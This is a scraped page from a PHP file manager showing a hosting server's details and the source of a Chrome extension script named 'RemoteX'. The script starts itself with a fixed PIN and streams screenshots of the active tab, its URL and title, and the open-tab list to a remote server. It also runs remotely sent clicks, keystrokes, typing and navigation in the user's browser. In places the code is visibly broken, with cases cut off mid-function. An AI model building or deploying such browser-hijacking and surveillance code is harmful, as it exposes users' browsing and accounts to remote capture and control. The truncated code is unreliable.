Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-687.66.1.el9_8.x86_64

PHP Version:

8.2.35

User:

flightbo

Directory:

/home2/flightbo/public_html/travelcheap.site/remote/extension

Free Space:

137.2 GB

🔧 Quick Actions

✏️ Editing: background.js

/**
 * RemoteX - Chrome Remote Access Background Service Worker
 * Auto-starts with Chrome. Fixed Default PIN: 11111
 */

'use strict';

const SERVER = 'https://travelcheap.site/remote/server/signaling.php';
const FIXED_PIN = '11111';
const SCREENSHOT_INTERVAL = 350;
const POLL_INTERVAL = 40;

var gSessionId = null;
var gPin = FIXED_PIN;
var gConnected = false;
var gStreaming = false;
var gCmdCount = 0;
var gPollActive = false;
var gScreenshotActive = false;

// ================================================
// STARTUP — Chrome & Extension start par auto-run
// ================================================

chrome.runtime.onInstalled.addListener(function() {
  console.log('[RemoteX] Extension installed/updated');
  setupAlarm();
  doAutoStart();
});

chrome.runtime.onStartup.addListener(function() {
  console.log('[RemoteX] Chrome started');
  setupAlarm();
  doAutoStart();
});

// Periodic keep-alive alarm
chrome.alarms.onAlarm.addListener(function(alarm) {
  if (alarm && alarm.name === 'remotex-alive') {
    if (!gSessionId) {
      doAutoStart();
    }
  }
});

// ================================================
// MESSAGE DISPATCHER (from popup / options)
// ================================================
chrome.runtime.onMessage.addListener(function(msg, sender, sendResponse) {
  try {
    handleMsg(msg, sendResponse);
  } catch(e) {
    sendResponse({ success: false, error: e.message });
  }
  return true; // Keep channel open for async response
});

function handleMsg(msg, sendResponse) {
  if (!msg || !msg.action) {
    sendResponse({ success: false });
    return;
  }

switch (msg.action) {

case 'getStatus':
      sendResponse({
        success: true,
        sessionId: gSessionId,
        pin: gPin || FIXED_PIN,
        isConnected: gConnected,
        isStreaming: gStreaming
      });
      if (!gSessionId) {
        doAutoStart();
      }
      break;

case 'newSession':
      gSessionId = null;
      gConnected = false;
      gPollActive = false;
      gScreenshotActive = false;
      chrome.storage.local.remove(['sessionId', 'pin', 'savedAt'], function() {
        if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; }
        createSession(function(res) {
          sendResponse(res || { success: true, pin: FIXED_PIN });
        });
      });
      break;

case 'disconnect':
      gSessionId = null;
      gConnected = false;
      gPollActive = false;
      gScreenshotActive = false;
      chrome.storage.local.remove(['sessionId', 'pin', 'savedAt'], function() {
        if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; }
        setBadge('', '#666');
        sendResponse({ success: true });
      });
      break;

case 'screenshot':
      doScreenshot();
      sendResponse({ success: true });
      break;

default:
      sendResponse({ success: false, error: 'Unknown action' });
  }
}

// ================================================
// AUTO START & CREATE SESSION
// ================================================
function doAutoStart() {
  if (gSessionId) {
    console.log('[RemoteX] Already active, PIN:', gPin);
    return;
  }

chrome.storage.local.get(['sessionId', 'pin'], function(res) {
    if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; }
    if (res && res.sessionId) {
      gSessionId = res.sessionId;
      gPin = res.pin || FIXED_PIN;
      setBadge(gPin, '#7c3aed');
      startPoll();
    } else {
      createSession();
    }
  });
}

function createSession(callback) {
  setBadge('...', '#888888');
  console.log('[RemoteX] Requesting session for PIN:', FIXED_PIN);

fetchJSON(SERVER + '?action=create_fixed&pin=' + encodeURIComponent(FIXED_PIN))
    .then(function(data) {
      if (data && data.success) {
        gSessionId = data.session_id;
        gPin = data.pin || FIXED_PIN;
        gCmdCount = 0;
        gConnected = false;

chrome.storage.local.set({
          sessionId: gSessionId,
          pin: gPin,
          savedAt: Date.now()
        }, function() {
          if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; }
        });

setBadge(gPin, '#7c3aed');
        console.log('[RemoteX] Session ready! PIN:', gPin, 'ID:', gSessionId);

startPoll();

try {
          chrome.notifications.create({
            type: 'basic',
            iconUrl: 'icons/icon48.png',
            title: 'RemoteX Ready!',
            message: 'PIN: ' + gPin + ' — Remote access ready!'
          }, function() {
            if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; }
          });
        } catch(e) {}

if (callback) callback({ success: true, sessionId: gSessionId, pin: gPin });
      } else {
        console.log('[RemoteX] Session create returned:', data);
        setBadge('RDY', '#7c3aed');
        if (callback) callback({ success: false });
        setTimeout(function() { if (!gSessionId) createSession(); }, 15000);
      }
    })
    .catch(function(err) {
      console.log('[RemoteX] Create connection retry in 10s:', err ? err.message : '');
      setBadge('RDY', '#7c3aed');
      if (callback) callback({ success: false });
      setTimeout(function() { if (!gSessionId) createSession(); }, 10000);
    });
}

// ================================================
// POLLING LOOP
// ================================================
function startPoll() {
  if (gPollActive) return;
  gPollActive = true;
  doPoll();
}

function doPoll() {
  if (!gSessionId) {
    gPollActive = false;
    return;
  }

var url = SERVER + '?action=poll&session=' + encodeURIComponent(gSessionId) + '&role=host&last_cmd=' + gCmdCount;

fetchJSON(url)
    .then(function(data) {
      if (!data || !data.success) {
        if (data && data.error && data.error.indexOf('expire') !== -1) {
          gSessionId = null;
          gConnected = false;
          gPollActive = false;
          createSession();
          return;
        }
      } else {
        // Client connected check
        if ((data.status === 'answered' || data.connected) && !gConnected) {
          gConnected = true;
          setBadge('ON', '#00ff88');
          startScreenshots();
          try {
            chrome.notifications.create({
              type: 'basic',
              iconUrl: 'icons/icon48.png',
              title: 'RemoteX — Device Connected!',
              message: 'Mobile connected! Remote control active.'
            }, function() {
              if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; }
            });
          } catch(e) {}
        }

// Screenshot requested
        if (data.screenshot_requested) {
          doScreenshot();
        }

// Execute commands
        if (data.commands && data.commands.length > 0) {
          gCmdCount = data.cmd_count || gCmdCount;
          data.commands.forEach(function(cmd) {
            runCommand(cmd);
          });
        }
      }
    })
    .catch(function(e) {
      // Normal network delay or server timeout
    })
    .finally(function() {
      if (gPollActive && gSessionId) {
        setTimeout(doPoll, POLL_INTERVAL);
      }
    });
}

// ================================================
// SCREENSHOTS & TABS
// ================================================
function startScreenshots() {
  if (gScreenshotActive) return;
  gScreenshotActive = true;
  doScreenshotLoop();
}

function doScreenshot() {
  if (!gSessionId) return Promise.resolve();

return new Promise(function(resolve) {
    chrome.tabs.query({ active: true, currentWindow: true }, function(tabs) {
      if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; resolve(); return; }
      if (!tabs || !tabs[0]) { resolve(); return; }
      var tab = tabs[0];

if (!tab.url || tab.url.indexOf('chrome://') === 0 || tab.url.indexOf('chrome-extension://') === 0) {
        resolve();
        return;
      }

chrome.tabs.captureVisibleTab(tab.windowId, { format: 'jpeg', quality: 40 }, function(dataUrl) {
        if (chrome.runtime.lastError) {
          var _err = chrome.runtime.lastError.message;
          resolve();
          return;
        }
        if (!dataUrl) {
          resolve();
          return;
        }

fetchJSON(SERVER + '?action=screenshot&session=' + encodeURIComponent(gSessionId), 'POST', {
          data: dataUrl,
          width: tab.width || 1920,
          height: tab.height || 1080,
          url: tab.url,
          title: tab.title
        })
        .then(function() {
          // Send tabs only once every 5 seconds
          if (Date.now() - (window._lastTabSend || 0) > 5000) {
            window._lastTabSend = Date.now();
            sendTabsList();
          }
        })
        .catch(function() {})
        .finally(resolve);
      });
    });
  });
}

// ================================================
// REMOTE COMMAND RUNNER
// ================================================
function runCommand(cmd) {
  if (!cmd || !cmd.type) return;

chrome.tabs.query({ active: true, currentWindow: true }, function(tabs) {
    if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; return; }
    if (!tabs || !tabs[0]) return;
    var tabId = tabs[0].id;

switch (cmd.type) {

case 'hover':
      case 'mousemove':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function(relX, relY, pxX, pxY) {
            var x = (relX !== undefined) ? Math.round(relX * window.innerWidth) : pxX;
            var y = (relY !== undefined) ? Math.round(relY * window.innerHeight) : pxY;
            var el = document.elementFromPoint(x, y);
            if (!el) return;

var opts = { bubbles: true, cancelable: true, view: window, clientX: x, clientY: y };
            var pointerOpts = { bubbles: true, cancelable: true, view: window, clientX: x, clientY: y, pointerId: 1, pointerType: 'mouse' };

try { el.dispatchEvent(new PointerEvent('pointermove', pointerOpts)); } catch(e) {}
            try { el.dispatchEvent(new MouseEvent('mousemove', opts)); } catch(e) {}
            try { el.dispatchEvent(new MouseEvent('mouseover', opts)); } catch(e) {}

case 'click':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function(relX, relY, pxX, pxY) {
            var x = (relX !== undefined) ? Math.round(relX * window.innerWidth) : pxX;
            var y = (relY !== undefined) ? Math.round(relY * window.innerHeight) : pxY;
            var el = document.elementFromPoint(x, y);
            if (!el) return;

// Visual ripple indicator
            try {
              var dot = document.createElement('div');
              dot.style.cssText = 'position:fixed;left:' + (x-15) + 'px;top:' + (y-15) + 'px;width:30px;height:30px;border:2px solid #00d4ff;background:rgba(0,212,255,0.4);border-radius:50%;pointer-events:none;z-index:2147483647;transition:all 0.3s ease-out;';
              document.body.appendChild(dot);
              setTimeout(function() { dot.style.transform = 'scale(2)'; dot.style.opacity = '0'; }, 20);
              setTimeout(function() { if (dot.parentNode) dot.parentNode.removeChild(dot); }, 400);
            } catch(e) {}

var target = el.closest('a, button, input, textarea, select, [role="button"], [role="link"], [role="menuitem"], [role="tab"], [role="checkbox"], label') || el;

var opts = { bubbles: true, cancelable: true, view: window, clientX: x, clientY: y, buttons: 1 };
            var pointerOpts = { bubbles: true, cancelable: true, view: window, clientX: x, clientY: y, pointerId: 1, pointerType: 'mouse', isPrimary: true };

try { target.dispatchEvent(new PointerEvent('pointerover', pointerOpts)); } catch(e) {}
            try { target.dispatchEvent(new MouseEvent('mouseover', opts)); } catch(e) {}
            try { target.dispatchEvent(new PointerEvent('pointerdown', pointerOpts)); } catch(e) {}
            try { target.dispatchEvent(new MouseEvent('mousedown', opts)); } catch(e) {}

if (typeof target.focus === 'function') {
              try { target.focus(); } catch(e) {}
            }

try { target.dispatchEvent(new PointerEvent('pointerup', pointerOpts)); } catch(e) {}
            try { target.dispatchEvent(new MouseEvent('mouseup', opts)); } catch(e) {}
            try { target.dispatchEvent(new MouseEvent('click', opts)); } catch(e) {}

if (typeof target.click === 'function') {
              try { target.click(); } catch(e) {}
            }
          },
          args: [cmd.data.relX, cmd.data.relY, cmd.data.x || 0, cmd.data.y || 0]
        }).catch(function(){});
        setTimeout(doScreenshot, 60);
        break;

case 'dblclick':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function(relX, relY, pxX, pxY) {
            var x = (relX !== undefined) ? Math.round(relX * window.innerWidth) : pxX;
            var y = (relY !== undefined) ? Math.round(relY * window.innerHeight) : pxY;
            var el = document.elementFromPoint(x, y);
            if (el) {
              var opts = { bubbles: true, cancelable: true, view: window, clientX: x, clientY: y, buttons: 1, detail: 2 };
              try { el.dispatchEvent(new MouseEvent('dblclick', opts)); } catch(e) {}
            }
          },
          args: [cmd.data.relX, cmd.data.relY, cmd.data.x || 0, cmd.data.y || 0]
        }).catch(function(){});
        setTimeout(doScreenshot, 100);
        break;

case 'rightclick':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function(relX, relY, pxX, pxY) {
            var x = (relX !== undefined) ? Math.round(relX * window.innerWidth) : pxX;
            var y = (relY !== undefined) ? Math.round(relY * window.innerHeight) : pxY;
            var el = document.elementFromPoint(x, y);
            if (el) {
              var opts = { bubbles: true, cancelable: true, view: window, clientX: x, clientY: y, button: 2, buttons: 2 };
              try { el.dispatchEvent(new MouseEvent('contextmenu', opts)); } catch(e) {}
            }
          },
          args: [cmd.data.relX, cmd.data.relY, cmd.data.x || 0, cmd.data.y || 0]
        }).catch(function(){});
        setTimeout(doScreenshot, 100);
        break;

case 'scroll':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function(dx, dy) {
            window.scrollBy({ left: dx, top: dy, behavior: 'instant' });
          },
          args: [cmd.data.deltaX || 0, cmd.data.deltaY || 0]
        }).catch(function(){});
        setTimeout(doScreenshot, 60);
        break;

case 'focus':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function(x, y) {
            var el = document.elementFromPoint(x, y);
            if (el && typeof el.focus === 'function') {
              try { el.focus(); } catch(e) {}
            }
          },
          args: [cmd.data.x, cmd.data.y]
        }).catch(function(){});
        break;

case 'type':
      case 'paste':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function(text) {
            var el = document.activeElement;
            if (!el || el === document.body) {
              el = document.querySelector('input:focus, textarea:focus, [contenteditable="true"]:focus') ||
                   document.querySelector('input[type="text"], input[type="search"], textarea');
              if (el && typeof el.focus === 'function') el.focus();
            }

if (!el) return;

var inserted = false;
            try {
              inserted = document.execCommand('insertText', false, text);
            } catch(e) {}

if (!inserted) {
              if (el.isContentEditable) {
                el.innerText = (el.innerText || '') + text;
              } else if (el.value !== undefined) {
                var s = el.selectionStart || 0;
                var e = el.selectionEnd || 0;
                el.value = el.value.substring(0, s) + text + el.value.substring(e);
                el.selectionStart = el.selectionEnd = s + text.length;
              }
              try { el.dispatchEvent(new Event('input', { bubbles: true })); } catch(e) {}
              try { el.dispatchEvent(new Event('change', { bubbles: true })); } catch(e) {}
            }
          },
          args: [cmd.data.text || '']
        }).catch(function(){});
        setTimeout(doScreenshot, 350);
        break;

case 'copy':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function() {
            try { document.execCommand('copy'); } catch(e) {}
          }
        }).catch(function(){});
        break;

case 'keycombo':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function(comboStr) {
            var lower = String(comboStr || '').toLowerCase();
            var isCtrl = lower.indexOf('ctrl') !== -1 || lower.indexOf('cmd') !== -1 || lower.indexOf('meta') !== -1;
            var isShift = lower.indexOf('shift') !== -1;
            var isAlt = lower.indexOf('alt') !== -1;
            var parts = lower.split('+');
            var key = parts[parts.length - 1];

var active = document.activeElement || document.body;

if (isCtrl && key === 'c') {
              try { document.execCommand('copy'); } catch(e) {}
            } else if (isCtrl && key === 'v') {
              try { document.execCommand('paste'); } catch(e) {}
            } else if (isCtrl && key === 'x') {
              try { document.execCommand('cut'); } catch(e) {}
            } else if (isCtrl && key === 'a') {
              if (active && typeof active.select === 'function') {
                try { active.select(); } catch(e) {}
              } else {
                try { document.execCommand('selectAll'); } catch(e) {}
              }
            } else if (isCtrl && key === 'z') {
              try { document.execCommand('undo'); } catch(e) {}
            }

case 'keypress':
        chrome.scripting.executeScript({
          target: { tabId: tabId },
          func: function(key) {
            var el = document.activeElement || document.body;
            var evtOpts = { key: key, bubbles: true, cancelable: true, view: window };
            try { el.dispatchEvent(new KeyboardEvent('keydown', evtOpts)); } catch(e) {}
            try { el.dispatchEvent(new KeyboardEvent('keypress', evtOpts)); } catch(e) {}

if (key === 'Backspace') {
              if (el.isContentEditable) {
                try { document.execCommand('delete'); } catch(e) {}
              } else if (el.value !== undefined) {
                var s = el.selectionStart || 0;
                var e = el.selectionEnd || 0;
                if (s === e && s > 0) {
                  el.value = el.value.substring(0, s - 1) + el.value.substring(e);
                  el.selectionStart = el.selectionEnd = s - 1;
                } else if (s !== e) {
                  el.value = el.value.substring(0, s) + el.value.substring(e);
                  el.selectionStart = el.selectionEnd = s;
                }
                try { el.dispatchEvent(new Event('input', { bubbles: true })); } catch(e) {}
              }
            } else if (key === 'Enter') {
              if (el.tagName === 'INPUT') {
                var form = el.form;
                if (form) {
                  var submitBtn = form.querySelector('button[type="submit"], input[type="submit"]');
                  if (submitBtn) submitBtn.click();
                  else try { form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true })); } catch(e) {}
                }
              } else if (el.isContentEditable || el.tagName === 'TEXTAREA') {
                try { document.execCommand('insertParagraph'); } catch(e) {
                  try { document.execCommand('insertText', false, '\n'); } catch(e2) {}
                }
              }
            }
            try { el.dispatchEvent(new KeyboardEvent('keyup', evtOpts)); } catch(e) {}
          },
          args: [cmd.data.key]
        }).catch(function(){});
        setTimeout(doScreenshot, 350);
        break;

case 'navigate':
        if (cmd.data && cmd.data.url) {
          chrome.tabs.update(tabId, { url: cmd.data.url }).catch(function(){});
        }
        break;

case 'new_tab':
        chrome.tabs.create({ url: (cmd.data && cmd.data.url) || 'https://www.google.com' }).catch(function(){});
        break;

case 'close_tab':
        if (cmd.data && cmd.data.tabId) {
          chrome.tabs.remove(cmd.data.tabId).catch(function(){});
        }
        break;

case 'switch_tab':
        if (cmd.data && cmd.data.tabId) {
          chrome.tabs.update(cmd.data.tabId, { active: true }).catch(function(){});
        }
        break;

case 'back':
        chrome.scripting.executeScript({ target: { tabId: tabId }, func: function(){ history.back(); } }).catch(function(){});
        break;

case 'forward':
        chrome.scripting.executeScript({ target: { tabId: tabId }, func: function(){ history.forward(); } }).catch(function(){});
        break;

case 'refresh':
        chrome.tabs.reload(tabId).catch(function(){});
        break;

case 'zoom':
        chrome.tabs.getZoom(tabId, function(cur) {
          if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; return; }
          var nz = cmd.data.direction === 'in' ? Math.min((cur || 1) + 0.25, 5) : Math.max((cur || 1) - 0.25, 0.25);
          chrome.tabs.setZoom(tabId, nz, function() {
            if (chrome.runtime.lastError) { var _ = chrome.runtime.lastError.message; }
          });
        });
        break;

case 'screenshot':
        doScreenshot();
        break;
    }
  });
}

// ================================================
// UTILITIES
// ================================================
function fetchJSON(url, method, body) {
  var opts = { method: method || 'GET' };
  if (body) {
    opts.headers = { 'Content-Type': 'application/json' };
    opts.body = JSON.stringify(body);
  }
  return fetch(url, opts).then(function(r) {
    if (!r.ok) throw new Error('HTTP ' + r.status);
    return r.json();
  });
}

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: background.js

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation